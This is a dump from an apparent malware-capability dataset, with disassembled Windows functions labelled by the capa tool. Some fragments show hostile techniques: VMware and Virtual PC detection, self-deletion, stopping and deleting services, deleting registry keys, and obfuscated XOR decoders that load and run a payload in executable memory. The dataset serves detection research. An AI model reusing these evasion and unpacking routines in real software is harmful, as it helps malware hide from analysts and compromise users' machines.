joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b6a08
Capabilities:
Hash data with md5

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
xor ecx, ecx
mov edx, 0x58
call fcn.00403194
mov dword [ebx], 0x67452301
mov dword [ebx + 4], 0xefcdab89
mov dword [ebx + 8], 0x98badcfe
mov dword [ebx + 0xc], 0x10325476
pop ebx
ret

Function at 0x4bb32c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x4bb3f1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004bb100
test al, al
je 0x4bb347
push 0xa
push 0
push 0
lea edx, [ebp - 8]
mov eax, 0x4bb408
call fcn.004b9f34
push dword [ebp - 8]
lea edx, [ebp - 0xc]
mov eax, 0x4bb468
call fcn.004b9f34
push dword [ebp - 0xc]
lea edx, [ebp - 0x14]
mov eax, dword [0x4c82d8]
mov eax, dword [eax]
call fcn.0046649c
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004bb2a4
push dword [ebp - 0x10]
push 0x4bb488
lea edx, [ebp - 0x1c]
mov eax, dword [0x4c82d8]
mov eax, dword [eax]
call fcn.004659ec
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004bb2a4
push dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 5
call fcn.00404e28
mov eax, dword [ebp - 4]
call fcn.00404f60
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bb3f8
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00404ad4
ret

Function at 0x4bcdbc
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov word [ebp - 2], cx
mov edi, edx
mov esi, eax
push 0
push 0x8000080
push 3
push 0
push 1
push 0xc0000000
push esi
call sub.user32.dll_GetIconInfo
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4bcdfa
call sub.user32.dll_GetWindowLongA
mov edx, dword [ebp + 8]
mov dword [edx], eax
xor eax, eax
jmp 0x4bce4b
lea eax, [ebp - 0xc]
push eax
mov ax, word [ebp - 2]
push eax
push edi
call sub.user32.dll_GetKeyboardLayoutList
test eax, eax
je 0x4bce2e
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
je 0x4bce2e
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.user32.dll_ScrollWindow
push ebx
call sub.user32.dll_GetDlgItem
mov ax, word [ebp + 0xc]
and ax, 0x27
movzx eax, ax
push eax
push esi
call sub.user32.dll_RemovePropA
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4c1f24
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4c2038
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x2f8]
call fcn.00474f8c
test eax, eax
jne 0x4c1f5a
mov eax, 0x4c204c
call fcn.0043f078
jmp 0x4c201d
mov eax, dword [ebx + 0x2f8]
call fcn.00474f8c
mov edx, dword [eax + 8]
lea eax, [ebp - 4]
call fcn.00404b48
mov eax, dword [ebx + 0x2f8]
call fcn.00474f8c
mov ebx, eax
jmp 0x4c1f88
mov eax, ebx
call fcn.00472810
mov ebx, eax
mov eax, ebx
call fcn.00472810
test eax, eax
jne 0x4c1f7f
test ebx, ebx
je 0x4c201d
lea eax, [ebp - 4]
mov edx, dword [ebx + 8]
call fcn.00404b48
mov ebx, 1
jmp 0x4c1fc5
mov eax, dword [ebp - 4]
cmp byte [eax + ebx - 1], 0x20
jne 0x4c1fc4
lea eax, [ebp - 4]
call fcn.00404fb8
mov byte [eax + ebx - 1], 0x2b
inc ebx
mov eax, dword [ebp - 4]
call fcn.00404d68
cmp ebx, eax
jle 0x4c1fad
push 0x4c2084
push dword [ebp - 4]
push 0x4c20c0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404e28
push 0x4c20e4
push dword [ebp - 4]
push 0x4c210c
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404e28
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404f60
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c203f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ad4
ret
Function at 0x1001163
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x10010c0
call fcn.0100134c
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x10011a0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10011a0
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10011b8
cmp eax, 0x20b
je 0x10011a5
mov dword [ebp - 0x1c], ebx
jmp 0x10011cc
cmp dword [ecx + 0x84], 0xe
jbe 0x10011a0
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x10011c6
cmp dword [ecx + 0x74], 0xe
jbe 0x10011a0
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1002218], 0xffffffff
or dword [0x100221c], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1002214]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1002210]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1002220], eax
call fcn.01001348
cmp dword [section..data], ebx
jne 0x1001227
push fcn.01001348
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01001336
push 0x100106c
push 0x1001068
call sub.msvcrt.dll__initterm
mov eax, dword [0x100220c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x1002208]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001064
push 0x1001060
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x10012bd
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x1001291
cmp al, 0x22
jne 0x1001283
cmp byte [esi], 0x22
jne 0x100129a
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x10012a4
cmp al, 0x20
jbe 0x1001296
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x10012c8
movzx eax, word [ebp - 0x48]
jmp 0x10012cb
cmp byte [esi], 0x20
jbe 0x100129a
inc esi
mov dword [ebp - 0x34], esi
jmp 0x10012bd
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x10012e8
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x100131d
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01001385
ret
Function at 0x40229b
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404138
push 0x403a40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push ebx
mov eax, 0x564d5868
mov ebx, 0x8685d465
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov dword [ebp - 0x1c], ebx
pop ebx
mov dword [ebp - 4], 0xffffffff
jmp 0x402303
xor eax, eax
cmp dword [ebp - 0x1c], 0x564d5868
sete al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402320
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404148
push 0x403a40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, 1
invalid

Function at 0x4023ef
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40240a
xor eax, eax
jmp 0x40240f
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x402413
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x405904
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402436
xor eax, eax
jmp 0x402475
cmp dword [ebp + 0x10], 0
jne 0x40244f
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 8
jmp 0x402466
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402511
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
push 0
lea eax, [ebp - 0x54]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov esp, ebp
pop ebp
ret
Function at 0x4026dc
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x40ba8f
push 0x406576
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x405b80
push 0x406576
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0xff
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [0x40bd94]
push ecx
call dword [0x405ae0]
push 0x405914
lea edx, [ebp - 0x100]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
push 0
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push 0x406576
call fcn.00402111
add esp, 4
mov edx, dword [ebp - 0x104]
lea eax, [eax + edx + 5]
push eax
call sub.MSVCRT.dll_abs
add esp, 4
push eax
call fcn.00401db2
add esp, 4
push eax
push 0x406576
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4028fd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xff
push 0x405b80
mov eax, dword [0x405b50]
push eax
call dword [0x405ae0]
push 0xff
push 0x40ba8f
mov ecx, dword [0x40bba0]
push ecx
call dword [0x405ae0]
mov edx, dword [0x405b78]
push edx
push 0x405b80
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xff
push 0x405d7e
mov eax, dword [0x40bba8]
push eax
call dword [0x405ae0]
push 0x40bec0
push 0x405d7e
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40297b
push 0x405b80
push 0x405d7e
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x405c7f
push 0xff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0x405d7e
push 0x406279
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40591c
push 0x406279
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [0x405b34]
push ecx
push 0x406279
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x405b80
push 0x406378
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [0x40bc14]
push edx
push 0x406378
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [0x405b38]
push eax
push 0x406378
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xff
push 0x406477
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x5c
push 0x406477
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
add eax, 1
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
add esp, 4
push eax
push 0x40b990
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
pop ebp
ret
Function at 0x402a7c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x934
mov eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jbe 0x402abe
push 0x405920
lea ecx, [ebp - 0x100]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x402ad2
push 0x40bec4
lea ecx, [ebp - 0x100]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0
push 0
push 0
push 0x40592c
call dword [0x405b70]
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0
je 0x402bc6
push 0
push 0
lea edx, [ebp - 0x100]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x92c]
push edx
call dword [0x405abc]
mov dword [ebp - 0x930], eax
cmp dword [ebp - 0x930], 0
je 0x402bc6
push 0x405930
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0
je 0x402bc6
lea ecx, [ebp - 0x924]
push ecx
push 0x800
lea edx, [ebp - 0x900]
push edx
mov eax, dword [ebp - 0x930]
push eax
call dword [0x405ac8]
test eax, eax
jne 0x402b7e
jmp 0x402baf
mov ecx, dword [ebp - 0x934]
push ecx
push 1
mov edx, dword [ebp - 0x924]
push edx
lea eax, [ebp - 0x900]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 0x924], 0
ja 0x402b58
mov ecx, dword [ebp - 0x934]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
jmp 0x402bc8
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402fab
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x402fc3
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0xc
cmp dword [ecx + 0x4051a4], 0
je 0x403067
lea edx, [ebp - 8]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 4]
imul eax, eax, 0xc
mov ecx, dword [eax + 0x4051a4]
push ecx
mov edx, dword [ebp - 4]
imul edx, edx, 0xc
mov eax, dword [edx + 0x4051a0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0xc
mov edx, dword [ecx + 0x4051a8]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
je 0x40301e
cmp dword [ebp - 0xc], 0xffffffff
je 0x403030
jmp 0x403041
mov eax, dword [0x40bc8c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x403058
push 0x40bc24
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x403058
mov eax, dword [ebp - 4]
imul eax, eax, 0xc
mov ecx, dword [eax + 0x4051a8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402fba
mov esp, ebp
pop ebp
ret
Function at 0x4030d1
Capabilities:
Enumerate files on windows
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push 0x104
lea eax, [ebp - 0x248]
push eax
mov ecx, dword [0x405b04]
push ecx
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea edx, [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
push 0x104
lea eax, [ebp - 0x248]
push eax
mov ecx, dword [0x405b08]
push ecx
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xffffffff
jne 0x403140
xor eax, eax
jmp 0x403178
lea ecx, [ebp - 0x118]
push ecx
call fcn.00402392
add esp, 4
cmp eax, 0x6980
jne 0x40315e
lea eax, [ebp - 0x118]
jmp 0x403178
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x403140
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40317c
Capabilities:
Delete service
Modify service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0xf003f
push 0x405944
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40319f
jmp 0x403213
push 0x10030
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4031c7
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x403213
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
lea ecx, [ebp - 0x24]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4037b9
Capabilities:
Create thread
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
call fcn.00402320
and eax, 0xff
test eax, eax
jne 0x4037de
call fcn.0040229b
and eax, 0xff
test eax, eax
je 0x4037eb
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4037c2
mov eax, dword [0x405ac4]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.004028fd
push 2
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x406378
call fcn.004023ef
add esp, 4
test eax, eax
jne 0x40382a
push 0x406279
call fcn.004023ef
add esp, 4
test eax, eax
je 0x4038bb
push 0x406279
push 0x406477
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
je 0x403858
push 0x406378
push 0x406477
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x40385a
jmp 0x4038b9
push 0
push 0x40597c
mov ecx, dword [0x405ac4]
push ecx
call fcn.00402413
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x406279
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x406378
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.00402a2f
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edx, dword [0x405ac4]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4038f4
mov eax, dword [str.00000]
push eax
call fcn.00401dde
add esp, 4
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [str.00000]
push ecx
call fcn.00401dde
add esp, 4
push eax
push str.Wait__d_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
call dword [sym.imp.MSVCRT.dll___p___argc]
cmp dword [eax], 1
jle 0x403988
push 0x40bed4
lea edx, [ebp - 0x294]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0x298], 1
jmp 0x403932
mov eax, dword [ebp - 0x298]
add eax, 1
mov dword [ebp - 0x298], eax
call dword [sym.imp.MSVCRT.dll___p___argc]
mov ecx, dword [ebp - 0x298]
cmp ecx, dword [eax]
jge 0x403979
call dword [sym.imp.MSVCRT.dll___p___argv]
mov edx, dword [eax]
mov eax, dword [ebp - 0x298]
mov ecx, dword [edx + eax*4]
push ecx
lea edx, [ebp - 0x294]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x40598c
lea eax, [ebp - 0x294]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x403923
push 0xa
lea ecx, [ebp - 0x294]
push ecx
call dword [0x405b68]
push str.a3r3
push 0x7f
push 0
push 4
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4039b1
xor eax, eax
jmp 0x403a34
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x4039dc
push 0x4e20
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x406279
call fcn.00402511
add esp, 4
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea edx, [ebp - 0x194]
push edx
push 0
push 0
push 0x403784
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x190]
push eax
push 1
call dword [0x405b5c]
lea ecx, [ebp - 0x194]
push ecx
push 0
push 0
push 0x4032e8
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edx, 1
test edx, edx
je 0x403a32
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x403a1f
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41da63
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041dcd0

Function at 0x41e30d
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e395
Function at 0x10019832
Capabilities:
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x10019854
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x10019904
mov eax, dword [ebx + 0x20]
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax]
mov dword [esp + 0xc], esi
push edi
mov edi, dword [esp + 0x24]
mov dword [esp + 0x14], edi
test ecx, ecx
je 0x10019877
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10019879
xor eax, eax
cdq
mov ebp, eax
mov eax, edx
mov dword [esp + 0x20], eax
test edi, edi
jl 0x100198f5
jg 0x1001988c
test esi, esi
je 0x100198f5
test eax, eax
jl 0x100198cc
jg 0x10019896
test ebp, ebp
je 0x100198cc
cmp edi, eax
jg 0x100198a6
jl 0x100198a0
cmp esi, ebp
jae 0x100198a6
mov ebp, esi
mov dword [esp + 0x20], edi
push ebp
push dword [esp + 0x20]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x28]
add esp, 0xc
mov eax, dword [ebx + 0x30]
add ecx, ebp
sub esi, ebp
sbb edi, dword [esp + 0x20]
sub dword [eax], ebp
mov eax, dword [ebx + 0x20]
add dword [eax], ebp
jmp 0x100198d0
mov ecx, dword [esp + 0x1c]
test edi, edi
jl 0x100198f5
jg 0x100198da
test esi, esi
je 0x100198f5
cmp dword [ebx + 0x4c], 0
je 0x100198f5
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0xc

Function at 0x1001a978
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1001a987
pop dword [ebp - 4]
mov eax, 0x2a9ed269
add eax, 0xe562d71e
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x36d0e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x7a11645b
sub ecx, 0x7a11256e
mov edx, eax
mov ebx, 0x368f7365
add ebx, 0xd974ca9b
add ebx, dword [ebp - 4]
mov edi, 0x83248497
add edi, 0x38952f75
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
add edx, 4
add ebx, 0x22478fa7
sub ebx, 0x22478fa3
loop 0x1001a9e1
add eax, 0x8e772fea
sub eax, 0x8e764163
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xde251837
sub ecx, 0xce251837
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x42a4d1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x42a4e0
pop dword [ebp - 0xc]
mov eax, 0x94a218f1
sub eax, 0x945f7411
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x1415c8c3
sub dword [ebp - 0x1c], 0xc5c38378
mov dword [ebp - 0x18], 0xe66ee987
sub dword [ebp - 0x18], 0xb43b9d42
mov dword [ebp - 0x14], 0xe744e89a
add dword [ebp - 0x14], 0x65075b94
mov dword [ebp - 0x10], 0xd0e12e5c
add dword [ebp - 0x10], 0x2f1ed1a4
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x8e49fe56
add eax, 0x71fbb20e
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x501cb6c9
add dword [ebp - 0x1c], 0x2455b28d
mov dword [ebp - 0x18], 0x375e77ea
sub dword [ebp - 0x18], 0xf5f21675
mov dword [ebp - 0x14], 0x1a4d75da
sub dword [ebp - 0x14], 0xb6de096e
mov dword [ebp - 0x10], 0x97439e4b
add dword [ebp - 0x10], 0x68bc61b5
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x223e5c56
add eax, 0xde07542a
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x499ca
push 0
call eax
mov ecx, 0x383a
xor esi, esi
add esi, eax
mov edx, 0xb229f48b
add edx, 0x4e1d6b75
add edx, dword [ebp - 0xc]
mov edi, 0xd793fe28
sub edi, 0xb05c203c
xor dword [ebp - 4], esi
mov ebx, dword [edx]
add dword [ebp - 8], edi
xor ebx, edi
add dword [ebp - 8], 0xc7eae657
mov dword [esi], ebx
add esi, 0x59162748
sub esi, 0x59162744
add edx, 0x4919b559
add edx, 0xb6e64aab
loop 0x42a5fe
add eax, 0x634fb64b
sub eax, 0x634ee290
xor ebx, ebx
add ebx, eax
add eax, 0x42829166
add eax, 0xbd7d6e9f
mov ecx, 0xc9347b5f
add ecx, 0x370b84a1
add ecx, dword [ebp - 0xc]
call ebx
leave
ret